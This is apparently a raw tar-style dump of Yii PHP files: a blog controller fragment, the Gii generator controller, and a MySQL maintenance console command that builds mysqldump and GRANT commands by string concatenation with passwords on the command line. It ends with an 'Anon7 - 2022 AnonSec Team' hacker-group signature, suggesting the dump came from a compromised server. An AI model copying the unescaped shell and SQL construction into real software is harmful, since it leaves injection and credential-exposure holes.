        return $this->render('category-index', compact('blogPostProvider', 'blogCategory'));
    }

    protected function findFlatPage($slug)
    {
        $flatPage = FlatPage::find()
                    ->where(['url'=>'blog'])
                    ->one();
        if (!isset($flatPage)) {
            throw new HttpException(404, Yii::t('app','The requested page does not exist.'));
        }

        return $flatPage;
    }

    protected function findBlogPost($slug)
    {
        $blogPost = BlogPost::findBySlug($slug);

        if (!isset($blogPost)) {
            throw new HttpException(404, Yii::t('app','The requested page does not exist.'));
        }

        return $blogPost;
    }

    protected function findBlogCategory($slug)
    {
        /*TODO: Clean Messy Code*/
        $blogCategoryCurrentLanguage = BlogCategory::find()
                    ->joinWith('translations')
                    ->where(['blog_category_lang.slug'=>$slug])
                    ->andWhere(['blog_category_lang.language'=>Yii::$app->language])
                    ->one();
        $blogCategory = $blogCategoryCurrentLanguage;
        /*Fallback language*/
        if (!isset($blogCategory)){
            $blogCategory = BlogCategory::find()
                    ->joinWith('translations')
                    ->where(['blog_category_lang.slug'=>$slug])
                    ->andWhere(['blog_category_lang.language'=>Yii::$app->params['fallbackLanguage']])
                    ->one();
            if (isset($blogCategory)&&$slug!=$blogCategory->slug) {
                $blogCategory = $blogCategoryCurrentLanguage;
            }
        }
        /*Main language*/
        if (!isset($blogCategory)){
            $blogCategory = BlogCategory::find()
                    ->joinWith('translations')
                    ->where(['blog_category_lang.slug'=>$slug])
                    ->andWhere(['blog_category_lang.language'=>Yii::$app->params['appMainLanguage']])
                    ->one();
            if (isset($blogCategory)&&$slug!=$blogCategory->slug) {
                $blogCategory = $blogCategoryCurrentLanguage;
            }
        }
        if (!isset($blogCategory)) {
            throw new HttpException(404, Yii::t('app','The requested page does not exist.'));
        }
        return $blogCategory;
    }
    
    private $allTags=null;
    
    /**
     * TODO: Only translate tags urls if tag is available for the specific language
     * @param integer $limit
     * @return array
     */
    public function getAllTags($limit=20) {
      
      if ($this->allTags==null) {
        $allTags=array();
        
        $query = new \yii\db\Query;
        $query->select('tags_list')
        ->from('blog_post_lang')
        ->innerJoin('blog_post', 'blog_post.id=blog_post_lang.blog_post_id')
        ->where(['is_published' => true])
        ->andWhere(['<>', 'blog_post_lang.slug', ''])
        ->andWhere(['blog_post_lang.language' => Yii::$app->language]);
        $command = $query->createCommand();
        $posts = $command->queryAll();
        
        foreach ($posts as $post) {
          $tags_array=  explode(",", $post['tags_list']);
          
          foreach ($tags_array as $tag) {
            $tag=trim($tag);
            if (!empty($tag)) {
              if (!isset($allTags[$tag])) {
                $allTags[$tag]=1;
              } else {
                $allTags[$tag] = $allTags[$tag] +1;
              }
            }
          }
          
        }
        
        arsort($allTags);
        
        $this->allTags=array_keys($allTags);
        
        $this->allTags=array_slice($this->allTags, 0, $limit);
      }
      
      return $this->allTags;
    }


}DefaultController.php000066600000010147151700540100010705 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\gii\controllers;

use Yii;
use yii\web\Controller;
use yii\web\NotFoundHttpException;

/**
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @since 2.0
 */
class DefaultController extends Controller
{
    public $layout = 'generator';
    /**
     * @var \yii\gii\Module
     */
    public $module;
    /**
     * @var \yii\gii\Generator
     */
    public $generator;


    public function actionIndex()
    {
        $this->layout = 'main';

        return $this->render('index');
    }

    public function actionView($id)
    {
        $generator = $this->loadGenerator($id);
        $params = ['generator' => $generator, 'id' => $id];

        $preview = Yii::$app->request->post('preview');
        $generate = Yii::$app->request->post('generate');
        $answers = Yii::$app->request->post('answers');

        if ($preview !== null || $generate !== null) {
            if ($generator->validate()) {
                $generator->saveStickyAttributes();
                $files = $generator->generate();
                if ($generate !== null && !empty($answers)) {
                    $params['hasError'] = !$generator->save($files, (array) $answers, $results);
                    $params['results'] = $results;
                } else {
                    $params['files'] = $files;
                    $params['answers'] = $answers;
                }
            }
        }

        return $this->render('view', $params);
    }

    public function actionPreview($id, $file)
    {
        $generator = $this->loadGenerator($id);
        if ($generator->validate()) {
            foreach ($generator->generate() as $f) {
                if ($f->id === $file) {
                    $content = $f->preview();
                    if ($content !== false) {
                        return  '<div class="content">' . $content . '</content>';
                    } else {
                        return '<div class="error">Preview is not available for this file type.</div>';
                    }
                }
            }
        }
        throw new NotFoundHttpException("Code file not found: $file");
    }

    public function actionDiff($id, $file)
    {
        $generator = $this->loadGenerator($id);
        if ($generator->validate()) {
            foreach ($generator->generate() as $f) {
                if ($f->id === $file) {
                    return $this->renderPartial('diff', [
                        'diff' => $f->diff(),
                    ]);
                }
            }
        }
        throw new NotFoundHttpException("Code file not found: $file");
    }

    /**
     * Runs an action defined in the generator.
     * Given an action named "xyz", the method "actionXyz()" in the generator will be called.
     * If the method does not exist, a 400 HTTP exception will be thrown.
     * @param string $id the ID of the generator
     * @param string $name the action name
     * @return mixed the result of the action.
     * @throws NotFoundHttpException if the action method does not exist.
     */
    public function actionAction($id, $name)
    {
        $generator = $this->loadGenerator($id);
        $method = 'action' . $name;
        if (method_exists($generator, $method)) {
            return $generator->$method();
        } else {
            throw new NotFoundHttpException("Unknown generator action: $name");
        }
    }

    /**
     * Loads the generator with the specified ID.
     * @param string $id the ID of the generator to be loaded.
     * @return \yii\gii\Generator the loaded generator
     * @throws NotFoundHttpException
     */
    protected function loadGenerator($id)
    {
        if (isset($this->module->generators[$id])) {
            $this->generator = $this->module->generators[$id];
            $this->generator->loadStickyAttributes();
            $this->generator->load(Yii::$app->request->post());

            return $this->generator;
        } else {
            throw new NotFoundHttpException("Code generator not found: $id");
        }
    }
}
MysqlController.php000066600000025345151703435340010450 0ustar00<?php

namespace dmstr\console\controllers;

use igorw\FailingTooHardException;
use mikehaertl\shellcommand\Command;
use yii\console\Controller;
use yii\console\Exception;
use yii\helpers\Console;
use yii\helpers\FileHelper;

/**
 * MySQL database maintenance command.
 *
 * @link http://www.diemeisterei.de/
 * @copyright Copyright (c) 2015 diemeisterei GmbH, Stuttgart
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
class MysqlController extends Controller
{
    /**
     * @var int Number of retries for MySql create operations
     */
    public $mysqlRetryMaxCount = 20;

    /**
     * @var int Timeout in seconds between operations
     */
    public $mysqlRetryTimeout = 2;

    /**
     * @var array list of tables with only structural (schema) commands in dumps
     */
    public $noDataTables = [];

    /**
     * @var array list of tables to include in dumps
     */
    public $includeTables = [];

    /**
     * @var array list of tables to exclude in dumps
     */
    public $excludeTables = [];

    /**
     * @var $dataOnly bool [0|1] dump only data
     */
    public $dataOnly = 0;

    /**
     * @var $truncateTables bool [0|1] add truncate table command
     */
    public $truncateTables = 0;

    /**
     * @inheritdoc
     */
    public function options($actionId)
    {
        switch($actionId) {
            case $actionId == 'dump' || $actionId == 'x-dump-data':
                $additionalOptions = ['noDataTables'];
                break;
            case $actionId == 'x-dump':
                $additionalOptions = ['includeTables', 'excludeTables', 'dataOnly', 'truncateTables'];
                break;
            default:
                $additionalOptions = [];
        }
        return array_merge(
            parent::options($actionId),
            $additionalOptions
        );
    }

    /**
     * Displays tables in database
     * @throws Exception
     */
    public function actionIndex()
    {
        $this->stdout("MySQL maintenance command\n");
        echo $cmd = 'mysqlshow -h ' . getenv('DB_PORT_3306_TCP_ADDR') .
            ' -u ' . getenv('DB_ENV_MYSQL_USER') .
            ' --password=' . getenv('DB_ENV_MYSQL_PASSWORD') . ' ' . getenv('DB_ENV_MYSQL_DATABASE');
        $this->stdout($this->execute($cmd));
        $this->stdout("\n");
    }

    /**
     * Create MySQL database
     *
     * Note: Loads parameters from ENV vars, if empty.
     *
     * Creates database and grants permissions to user
     *
     * @param null $db database name `DATABASE_DSN_DB`
     * @param null $dsn database base-DSN `DATABASE_DSN_BASE`
     * @param null $root `DB_ENV_MYSQL_ROOT_USER
     * @param null $rootPassword `DB_ENV_MYSQL_ROOT_USER`
     * @param null $user `DB_ENV_MYSQL_USER`
     * @param null $pass `DB_ENV_MYSQL_PASSWORD
     *
     * @throws \yii\base\ExitException
     */
    public function actionCreate($db = null,  $dsn = null, $root = null, $rootPassword = null, $user = null, $pass = null)
    {
        // check dsn
        if ($db === null) {
            $db = getenv("DATABASE_DSN_DB");
        }
        if (empty($db)) {
            $this->stdout('No database configured, aborting.');
            return;
        }

        // check root user settings
        $root = $root ?: getenv("DB_ENV_MYSQL_ROOT_USER");
        if ($root === null) {
            $this->stdout('No root user configured, aborting.');
            return;
        }
        $rootPassword = $rootPassword ?: getenv("DB_ENV_MYSQL_ROOT_PASSWORD");
        if (empty($rootPassword)) {
            $this->stdout('No root password configured, aborting.');
            return;
        }

        $user = $user ?: getenv("DB_ENV_MYSQL_USER");
        $pass = $pass ?: getenv("DB_ENV_MYSQL_PASSWORD");
        $dsn = $dsn ?: getenv("DATABASE_DSN_BASE");

        if (empty($user) || empty($pass) || empty($dsn)) {
            $this->stdout('Configuration failed, aborting.');
            return;
        }

        // trying to connect to database with PDO (20 times, interval 1 second)
        $this->stdout(
            "Checking database connection on DSN '{$dsn}' with user '{$root}'"
        );

        try {
            // retry an operation up to 20 times
            $pdo = \igorw\retry(
                $this->mysqlRetryMaxCount,
                function () use ($dsn, $root, $rootPassword) {
                    $this->stdout('.');
                    sleep($this->mysqlRetryTimeout);
                    return new \PDO($dsn, $root, $rootPassword);
                }
            );
        } catch (FailingTooHardException $e) {
            $this->stdout("\n\nError: Unable to connect to database '" . $e->getMessage() . "''");
            \Yii::$app->end(1);
        }
        $this->stdout(' [OK]');


        // try to create a database for the user
        $this->stdout(
            "\nCreating database '{$db}' and granting permissions to user '{$user}' on DSN '{$dsn}' with user '{$root}'"
        );
        try {
            \igorw\retry(
                $this->mysqlRetryMaxCount,
                function () use ($dsn, $root, $rootPassword, $pdo, $user, $pass, $db) {
                    $pdo->exec(
                        "CREATE DATABASE IF NOT EXISTS `$db`;
                 GRANT ALL ON `$db`.* TO '$user'@'%' IDENTIFIED BY '$pass';
                 FLUSH PRIVILEGES;"
                    );
                    $this->stdout('.');
                    sleep($this->mysqlRetryTimeout);
                }
            );
        } catch (FailingTooHardException $e) {
            $this->stdout("\n\nError: Unable to setup database '" . $e->getMessage() . "''");
            \Yii::$app->end(1);
        }

        $this->stdout(' [OK]');
        $this->stdout("\n");
    }

    /**
     * Dumps current database tables to runtime folder
     *
     * @throws Exception
     */
    public function actionDump()
    {
        $this->stdout("MySQL dump command\n");
        $ignoreOpts = '';
        $noDataTables = '';
        foreach ($this->noDataTables as $table) {
            $ignoreOpts .= ' --ignore-table=' . getenv('DB_ENV_MYSQL_DATABASE') . '.' . $table;
            $noDataTables .= ' ' . $table;
        }
        $date = date('U');

        $dir = 'runtime/mysql';
        $file = $dir.'/full-' . $date . '.sql';

        $cmd = 'mkdir -p '.$dir.';';
        $this->execute($cmd);

        $cmd = 'mysqldump -h ' . getenv('DB_PORT_3306_TCP_ADDR') .
            ' -u ' . getenv('DB_ENV_MYSQL_USER') .
            ' --password=' . getenv('DB_ENV_MYSQL_PASSWORD') .
            ' ' . $ignoreOpts . ' ' . getenv('DB_ENV_MYSQL_DATABASE') . ' > ' . $file . ';';
        $this->execute($cmd);

        $cmd = 'mysqldump -h ' . getenv('DB_PORT_3306_TCP_ADDR') .
            ' -u ' . getenv('DB_ENV_MYSQL_USER') .
            ' --password=' . getenv('DB_ENV_MYSQL_PASSWORD') .
            ' --no-data ' . getenv(
                'DB_ENV_MYSQL_DATABASE'
            ) . ' ' . $noDataTables . ' >> ' . $file . ';';
        $this->execute($cmd);

        $this->stdout("Dump to file '$file' completed.\n");
    }

    /**
     * EXPERIMENTAL: data only dump
     * @throws \yii\base\Exception
     */
    public function actionXDumpData(){
        $fileName = $this->getFilePrefix()."_data.sql";
        $command = new Command('mysqldump');

        $command->addArg('-h',getenv('DB_PORT_3306_TCP_ADDR'));
        $command->addArg('-u',getenv('DB_ENV_MYSQL_USER'));
        $command->addArg('--password=',getenv('DB_ENV_MYSQL_PASSWORD'));
        $command->addArg('--no-create-info');
        $this->stdout("Ignoring tables: ");
        foreach ($this->noDataTables as $table) {
            $command->addArg('--ignore-table',getenv('DB_ENV_MYSQL_DATABASE') . '.' . $table);
            $this->stdout("$table, ");
        }
        $this->stdout("\n");
        $command->addArg(getenv('DB_ENV_MYSQL_DATABASE'));

        $command->execute();

        if ($command->getError()) {
            $this->stderr($command->getError()."\n");
            \Yii::$app->end(1);
        }

        $dir = \Yii::getAlias('@runtime/mysql');
        FileHelper::createDirectory($dir);

        $dump = $command->getOutput();
        $dump = preg_replace('/LOCK TABLES (.+) WRITE;/','LOCK TABLES $1 WRITE; TRUNCATE TABLE $1;',$dump);
        $file = $dir.'/'.$fileName;

        file_put_contents($file, $dump);

        $this->stdout("\nMySQL dump successfully written to '$file'\n", Console::FG_GREEN);
    }

    /**
     * EXPERIMENTAL: Schema and/or Data dumps
     *
     * @option: --includeTables
     * @option: --excludeTables
     * @option: --dataOnly [0|1]
     * @option: --truncateTables [0|1]
     */
    public function actionXDump()
    {
        $command        = new Command('mysqldump');
        $fileNameSuffix = 'schema-data';
        $date           = date('U');
        $truncateTable  = '';

        $command->addArg('-h', getenv('DB_PORT_3306_TCP_ADDR'));
        $command->addArg('-u', getenv('DB_ENV_MYSQL_USER'));
        $command->addArg('--password=', getenv('DB_ENV_MYSQL_PASSWORD'));
        $command->addArg(getenv('DB_ENV_MYSQL_DATABASE'));

        // if only data
        if ($this->dataOnly == 1) {
            $fileNameSuffix = 'data';
            $command->addArg('--no-create-info');
        }

        // if include tables
        if (!empty($this->includeTables)) {
            foreach ($this->includeTables as $table) {
                $command->addArg($table);
            }
        }

        // if exclude tables
        if (!empty($this->excludeTables)) {
            foreach ($this->excludeTables as $table) {
                $command->addArg('--ignore-table', getenv('DB_ENV_MYSQL_DATABASE') . '.' . $table);
            }
        }

        $command->execute();

        $dump = $command->getOutput();

        // if truncate tables
        if ($this->truncateTables == 1) {
            $truncateTable = 'TRUNCATE TABLE $1;';
        }
        $dump = preg_replace('/LOCK TABLES (.+) WRITE;/', 'LOCK TABLES $1 WRITE; ' . $truncateTable, $dump);

        // generate file
        $dir = \Yii::getAlias('@runtime/mysql');
        FileHelper::createDirectory($dir);
        $fileName = $this->getFilePrefix() . '_' . $fileNameSuffix . '.sql';
        $file     = $dir . '/' . $fileName;
        file_put_contents($file, $dump);

        $this->stdout("\nMySQL dump successfully written to '$file'\n", Console::FG_GREEN);
    }

    /**
     * @param $cmd
     *
     * @return mixed
     * @throws Exception
     */
    private function execute($cmd)
    {
        $command = new Command();
        $command->setCommand($cmd);
        if ($command->execute()) {
            return $command->getOutput();
        } else {
            throw new Exception($command->getError());
        }
    }

    private function getFilePrefix(){
        return \Yii::$app->id.'_'.YII_ENV.'_'.date('U');
    }

}

Anon7 - 2022
AnonSec Team